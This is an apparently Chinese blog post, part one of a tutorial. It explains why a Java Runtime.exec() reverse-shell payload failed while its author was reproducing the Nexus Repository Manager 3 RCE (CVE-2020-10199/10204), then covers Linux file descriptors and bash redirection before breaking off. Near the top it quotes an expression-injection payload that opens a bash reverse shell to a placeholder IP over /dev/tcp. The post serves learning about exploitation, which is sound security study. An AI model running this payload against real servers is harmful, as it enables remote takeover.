linux利用java反弹shell_Java Runtime.exe() 执行命令与反弹shell(上)

0x00 前言

在自己学习复现 Nexus Repository Manager 3 RCE 漏洞的时候(CVE-2020-10199/10204)

由于自己对 Java 的 Runtime.exec() 执行命令以及反弹shell理解的太过于浅薄,使用了以下语句无法反弹shell,踩了很多坑

$\\A{''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(null).exec('bash -i >& /dev/tcp/xx.xx.xx.xx/6543 0>&1')}

此处记录一下查阅一些资料和实践后学习到的东西。如有错误,请各位师傅指正

0x01 文件描述符

Q:首先什么是文件?

A:在 Linux 下,一切皆为文件,就连键盘显示器设备都是文件,它们的输入输出都是由文件描述符控制

文件描述符 (简称 fd) :在Linux系统中,当某个程序打开文件时,操作系统返回相应的文件描述符,程序为了处理该文件必须引用此描述符。

而Linux 启动文件的时候,会默认打开三个文件描述符

文件描述0 表示标准输入

文件描述1 表示标准输出

文件描述2 表示标准错误

eb41a0291123

image

/dev/tty0 泛指当前终端

当我们需要让输出不显示在当前TTY上,而是输出到文件或者其他设备,此时我们便需要重定向

0x02 重定向

在执行命令之前,可以使用 shell 可解释的特殊符号来重定向其输入/输出。重定向允许复制、打开、关闭命令的文件句柄,使其引用不同的文件,并且可以更改命令读取和写入的文件。也就是说,先进行重定向,再执行命令

重定向按照从左到右的顺序执行

最后,若省略文件描述符,< 表示对标准输入(文件描述符0)的重定向,> 表示对标准输出(文件描述符1)的重定向

输入重定向

下文中的所有原文都是 bash 5.0 手册里写道

Redirection of input causes the file whose name results from the expansion of

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值